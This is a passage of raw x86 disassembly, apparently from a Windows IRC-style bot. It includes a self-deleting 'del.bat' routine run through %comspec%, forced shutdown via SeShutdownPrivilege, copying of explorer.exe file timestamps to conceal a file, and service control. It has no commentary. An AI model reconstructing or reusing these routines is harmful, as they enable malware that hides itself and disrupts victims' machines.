byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418550 cmp ebx, 1F4h jge short loc_418555 mov [edi], ecx inc ebx add edi, 4 loc_418550: ; CODE XREF: sub_4184CC+69j ; sub_4184CC+74j inc edx cmp edx, eax jl short loc_418531 loc_418555: ; CODE XREF: sub_4184CC+5Dj ; sub_4184CC+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418573 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41CD20 add esp, 0Ch loc_418573: ; CODE XREF: sub_4184CC+8Ej mov eax, ebx loc_418575: ; CODE XREF: sub_4184CC+34j pop esi pop ebx leave retn sub_4184CC endp ; =============== S U B R O U T I N E ======================================= sub_418579 proc near ; CODE XREF: sub_4185D3+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_4185B2 push ebx mov ebx, edi loc_418596: ; CODE XREF: sub_418579+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_4185B5 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418596 pop ebx loc_4185B2: ; CODE XREF: sub_418579+18j pop edi pop esi retn sub_418579 endp ; =============== S U B R O U T I N E ======================================= sub_4185B5 proc near ; CODE XREF: sub_418579+25p ; sub_4185D3+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41DFEC cmp al, 61h pop ecx jl short loc_4185D0 cmp al, 7Ah jg short loc_4185D0 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_4185D0: ; CODE XREF: sub_4185B5+Ej ; sub_4185B5+12j xor eax, eax retn sub_4185B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185D3 proc near ; CODE XREF: sub_415E19+10p ; ___:00415EEBp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41C500 push ebx push esi push edi push [ebp+arg_0] call sub_41B9C0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41B9C0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_418579 add esp, 14h dec esi mov edi, esi loc_418611: ; CODE XREF: sub_4185D3+B6j test esi, esi jle short loc_41868F mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41DFEC mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41DFEC pop ecx cmp eax, ebx pop ecx jz short loc_418687 loc_418637: ; CODE XREF: sub_4185D3+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_4185B5 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418658 mov eax, ecx loc_418658: ; CODE XREF: sub_4185D3+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41868B mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41DFEC mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41DFEC pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_418637 loc_418687: ; CODE XREF: sub_4185D3+62j dec edi dec esi jmp short loc_418611 ; --------------------------------------------------------------------------- loc_41868B: ; CODE XREF: sub_4185D3+8Aj xor eax, eax jmp short loc_418694 ; --------------------------------------------------------------------------- loc_41868F: ; CODE XREF: sub_4185D3+40j mov eax, [ebp+arg_0] add eax, edi loc_418694: ; CODE XREF: sub_4185D3+BAj pop edi pop esi pop ebx leave retn sub_4185D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p ; sub_401ACD+76FFp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 26808B7h mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27E0000h lea eax, [ebp+var_100] loc_4186D2: ; CODE XREF: sub_418699+46j mov cl, [eax] cmp cl, 1Fh jg short loc_4186DE cmp cl, 9 jnz short loc_4186E1 loc_4186DE: ; CODE XREF: sub_418699+3Ej inc eax jmp short loc_4186D2 ; --------------------------------------------------------------------------- loc_4186E1: ; CODE XREF: sub_418699+43j ; sub_418699+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4186FB mov cl, [eax] cmp cl, 2Eh jz short loc_4186E1 cmp cl, 21h jl short loc_4186E1 loc_4186FB: ; CODE XREF: sub_418699+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DB18C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41C360 add esp, 18h mov eax, esi pop esi leave retn sub_418699 endp ; =============== S U B R O U T I N E ======================================= sub_418723 proc near ; CODE XREF: sub_401ACD+2470p push esi push 0 call dword_4CB9B4 test eax, eax jz short loc_41875A push 1 call dword_4CB9D4 mov esi, eax test esi, esi jz short loc_41875A push edi push esi nop call near ptr 27F06B3h push esi mov edi, eax nop call near ptr 27F0000h call dword_4CBA38 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41875A: ; CODE XREF: sub_418723+Bj ; sub_418723+19j xor eax, eax pop esi retn sub_418723 endp ; =============== S U B R O U T I N E ======================================= sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CB9F0 mov ebp, eax cmp ebp, esi jz short loc_4187DA push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 2800495h push esi push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 280031Fh nop push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41C266 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CBA40 push esi push 1 push 4C9h push ebp call dword_4CBA40 push ebx nop call near ptr 2800000h push edi nop call near ptr 2660830h push 1 pop eax pop ebx jmp short loc_4187DC ; --------------------------------------------------------------------------- loc_4187DA: ; CODE XREF: sub_41875E+16j xor eax, eax loc_4187DC: ; CODE XREF: sub_41875E+7Aj pop edi pop esi pop ebp retn sub_41875E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4187E0 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CBAA0 test eax, eax jz short loc_41887F mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270F8 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2810000h push ebx mov ebx, dword_427070 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 28009DFh push esi call ebx loc_41887F: ; CODE XREF: sub_4187E0+2Aj ; sub_4187E0+51j ... pop edi pop esi pop ebx leave retn sub_4187E0 endp ; =============== S U B R O U T I N E ======================================= sub_418884 proc near ; CODE XREF: sub_401ACD+1682p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419B9E pop ecx pop ecx push 50005h push 6 call dword_4CB924 neg eax sbb eax, eax neg eax retn sub_418884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep ; ___:00416C12p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_4188CA cmp dword_4CBAB4, esi jnz short loc_4188CA push esi call sub_401000 pop ecx loc_4188CA: ; CODE XREF: sub_4188A6+13j ; sub_4188A6+1Bj call sub_40B583 lea eax, [ebp+var_764] push eax push 400h nop call near ptr 26A0000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 27106E5h mov edi, eax cmp edi, esi jbe loc_418A2A lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 27007FFh push edi nop call near ptr 2660830h push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41BF70 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43DB98 mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 2680D5Ch nop push eax nop call near ptr 2670000h lea eax, [ebp+var_15C] push eax call near ptr 2680CB0h nop cmp eax, 0FFFFFFFFh jz short loc_4189D2 lea eax, [ebp+var_15C] push 80h push eax call near ptr 2680B92h nop loc_4189D2: ; CODE XREF: sub_4188A6+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2820000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2660BA5h loc_418A2A: ; CODE XREF: sub_4188A6+72j pop edi pop esi leave retn sub_4188A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26D0544h cmp [ebp+var_84], 2 jnz short loc_418AC4 push [ebp+arg_10] push [ebp+arg_C] call dword_4CB964 push edi push eax call dword_4CB974 test eax, eax jz short loc_418AB6 push [ebp+arg_10] push offset dword_439508 loc_418A8F: ; CODE XREF: sub_418A2E+94j lea eax, [ebp+var_294] push eax call sub_41C266 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h jmp short loc_418AEE ; --------------------------------------------------------------------------- loc_418AB6: ; CODE XREF: sub_418A2E+57j nop call near ptr 26808B7h push eax push offset unk_4394E0 jmp short loc_418A8F ; --------------------------------------------------------------------------- loc_418AC4: ; CODE XREF: sub_418A2E+3Fj lea eax, [ebp+var_294] push offset unk_4394B0 push eax call sub_41C266 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 1Ch loc_418AEE: ; CODE XREF: sub_418A2E+86j pop edi leave retn sub_418A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26D0544h cmp [ebp+var_90], 4 jnz short loc_418B47 cmp [ebp+var_8C], 0 jnz short loc_418B30 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_418B47 leave retn ; --------------------------------------------------------------------------- loc_418B30: ; CODE XREF: sub_418AF1+30j cmp [ebp+var_8C], 0Ah jz short loc_418B42 cmp [ebp+var_8C], 5Ah jnz short loc_418B47 loc_418B42: ; CODE XREF: sub_418AF1+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_418B47: ; CODE XREF: sub_418AF1+27j ; sub_418AF1+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26A0BB9h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call near ptr 26B0000h nop push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41E0D4 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41E0D4 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41E0D4 lea eax, [ebp+var_F8] push eax call sub_41E0B7 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi call near ptr 2790852h nop mov eax, edi pop edi pop esi leave retn sub_418AF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call near ptr 2690648h nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4276E0 call sub_41D174 sub esi, eax mov eax, esi pop esi leave retn sub_418BD1 endp ; =============== S U B R O U T I N E ======================================= sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418C66 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_439530[esi] push edi push eax call sub_418C88 add esp, 14h test eax, eax jnz short loc_418C56 push edi push off_43952C[esi] push offset unk_439640 loc_418C46: ; CODE XREF: sub_418C0E+56j mov esi, offset dword_4DBA50 push esi call sub_41C266 add esp, 10h jmp short loc_418C83 ; --------------------------------------------------------------------------- loc_418C56: ; CODE XREF: sub_418C0E+2Aj push eax call sub_418D2A pop ecx push eax push edi push offset unk_439614 jmp short loc_418C46 ; --------------------------------------------------------------------------- loc_418C66: ; CODE XREF: sub_418C0E+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DBA50 push off_439528[eax*4] push offset unk_4395F0 push esi call sub_41C266 add esp, 0Ch loc_418C83: ; CODE XREF: sub_418C0E+46j mov eax, esi pop edi pop esi retn sub_418C0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C88 proc near ; CODE XREF: sub_418C0E+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CB9D8 mov edi, eax cmp edi, ebx jnz short loc_418CAF call near ptr 26808B7h nop mov ebx, eax jmp short loc_418D24 ; --------------------------------------------------------------------------- loc_418CAF: ; CODE XREF: sub_418C88+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CB8C0 mov esi, eax cmp esi, ebx jnz short loc_418CCF nop call near ptr 26808B7h mov ebx, eax jmp short loc_418D1C ; --------------------------------------------------------------------------- loc_418CCF: ; CODE XREF: sub_418C88+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_418D02 cmp eax, 3 jz short loc_418CF3 jle short loc_418D15 cmp eax, 6 jg short loc_418D15 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CB92C jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418CF3: ; CODE XREF: sub_418C88+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CB8C8 jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418D02: ; CODE XREF: sub_418C88+4Dj push esi call dword_4CB930 loc_418D09: ; CODE XREF: sub_418C88+69j ; sub_418C88+78j test eax, eax jnz short loc_418D15 nop call near ptr 26808B7h mov ebx, eax loc_418D15: ; CODE XREF: sub_418C88+54j ; sub_418C88+59j ... push esi call dword_4CB8DC loc_418D1C: ; CODE XREF: sub_418C88+45j push edi call dword_4CB8DC pop esi loc_418D24: ; CODE XREF: sub_418C88+25j mov eax, ebx pop edi pop ebx leave retn sub_418C88 endp ; =============== S U B R O U T I N E ======================================= sub_418D2A proc near ; CODE XREF: sub_418C0E+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418DDF jz loc_418DD8 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418DA2 jz short loc_418D98 mov ecx, eax sub ecx, 3 jz short loc_418D8E dec ecx dec ecx jz short loc_418D84 dec ecx jz short loc_418D7A sub ecx, 51h jz short loc_418D70 sub ecx, 24h jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D70: ; CODE XREF: sub_418D2A+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D7A: ; CODE XREF: sub_418D2A+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D84: ; CODE XREF: sub_418D2A+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D8E: ; CODE XREF: sub_418D2A+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D98: ; CODE XREF: sub_418D2A+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DA2: ; CODE XREF: sub_418D2A+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418DD1 dec ecx jz short loc_418DCA dec ecx jz short loc_418DC3 dec ecx jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DC3: ; CODE XREF: sub_418D2A+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DCA: ; CODE XREF: sub_418D2A+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD1: ; CODE XREF: sub_418D2A+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD8: ; CODE XREF: sub_418D2A+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DDF: ; CODE XREF: sub_418D2A+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 jz short loc_418E42 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418E96[ecx] jmp off_418E6E[ecx*4] ; switch jump loc_418E03: ; DATA XREF: ___:off_418E6Eo push offset aTheSpecifiedDa ; jumptable 00418DFC case 7 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E0A: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceDepe ; jumptable 00418DFC case 17 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E11: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceDe_0 ; jumptable 00418DFC case 10 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E18: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHasB ; jumptable 00418DFC case 0 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E1F: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheSpecified_0 ; jumptable 00418DFC case 2 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E26: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceCoul ; jumptable 00418DFC case 11 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E2D: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHa_0 ; jumptable 00418DFC case 14 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E34: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheRequested_1 ; jumptable 00418DFC case 3 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E3B: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHasN ; jumptable 00418DFC case 4 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E42: ; CODE XREF: sub_418D2A+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_418E47: ; CODE XREF: sub_418D2A+41j ; sub_418D2A+4Bj ... push offset dword_4DB390 call sub_41C266 pop ecx pop ecx jmp short loc_418E68 ; --------------------------------------------------------------------------- loc_418E55: ; CODE XREF: sub_418D2A+36j ; sub_418D2A+89j ... push eax ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DB390 call sub_41C266 add esp, 0Ch loc_418E68: ; CODE XREF: sub_418D2A+129j mov eax, offset dword_4DB390 retn sub_418D2A endp ; --------------------------------------------------------------------------- off_418E6E dd offset loc_418E18 ; DATA XREF: sub_418D2A+D2r dd offset loc_418E1F ; jump table for switch statement dd offset loc_418E34 dd offset loc_418E3B dd offset loc_418E03 dd offset loc_418E11 dd offset loc_418E26 dd offset loc_418E2D dd offset loc_418E0A dd offset loc_418E55 byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CB9D8 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_418EE0: ; CODE XREF: sub_418EA8+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CB9A4 test eax, eax jnz short loc_418F1A nop call near ptr 26808B7h cmp eax, 0EAh jnz loc_418FCE loc_418F1A: ; CODE XREF: sub_418EA8+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418FC5 lea esi, [ebp+var_188] loc_418F2B: ; CODE XREF: sub_418EA8+117j mov eax, [esi+8] dec eax jz short loc_418F74 dec eax jz short loc_418F6D dec eax jz short loc_418F66 dec eax jz short loc_418F5F dec eax jz short loc_418F58 dec eax jz short loc_418F51 dec eax jz short loc_418F4A push offset aUnknown_0 ; " Unknown" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F4A: ; CODE XREF: sub_418EA8+99j push offset aPaused_0 ; " Paused" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F51: ; CODE XREF: sub_418EA8+96j push offset aPausing ; " Pausing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F58: ; CODE XREF: sub_418EA8+93j push offset aContinuing ; " Continuing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F5F: ; CODE XREF: sub_418EA8+90j push offset aRunning ; " Running" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F66: ; CODE XREF: sub_418EA8+8Dj push offset aStoping ; " Stoping" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F6D: ; CODE XREF: sub_418EA8+8Aj push offset aStarting ; " Starting" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F74: ; CODE XREF: sub_418EA8+87j push offset aStopped ; " Stopped" loc_418F79: ; CODE XREF: sub_418EA8+A0j ; sub_418EA8+A7j ... lea eax, [ebp+var_20] push eax call sub_41C266 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41C266 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_418F2B loc_418FC5: ; CODE XREF: sub_418EA8+77j cmp [ebp+var_8], ebx jnz loc_418EE0 loc_418FCE: ; CODE XREF: sub_418EA8+6Cj push [ebp+var_C] call dword_4CB8DC xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_418EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_41907F mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_41900E dec eax jnz short loc_41905F push edi push 0 call sub_4191B8 pop ecx pop ecx jmp short loc_41905B ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418FE5+18j cmp [ebp+arg_8], 0 jnz short loc_41904D push 24h push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz short loc_41904D push 57h pop eax loc_419025: ; CODE XREF: sub_418FE5+78j push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB64C push off_439528[eax*4] push offset unk_439BD4 push esi call sub_41C266 add esp, 14h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41904D: ; CODE XREF: sub_418FE5+2Dj ; sub_418FE5+3Bj push [ebp+arg_8] push edi push 0 call sub_41910C add esp, 0Ch loc_41905B: ; CODE XREF: sub_418FE5+27j test eax, eax jnz short loc_419025 loc_41905F: ; CODE XREF: sub_418FE5+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB64C push off_43952C[eax*4] push offset dword_439BB8 push esi call sub_41C266 add esp, 10h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41907F: ; CODE XREF: sub_418FE5+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DB64C lea eax, [eax+eax*2] push off_439528[eax*4] push offset unk_439B94 push esi call sub_41C266 add esp, 0Ch loc_41909F: ; CODE XREF: sub_418FE5+66j ; sub_418FE5+98j mov eax, esi pop edi pop esi pop ebp retn sub_418FE5 endp ; =============== S U B R O U T I N E ======================================= sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_4190B2 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4190B2: ; CODE XREF: sub_4190A5+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_427188 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi 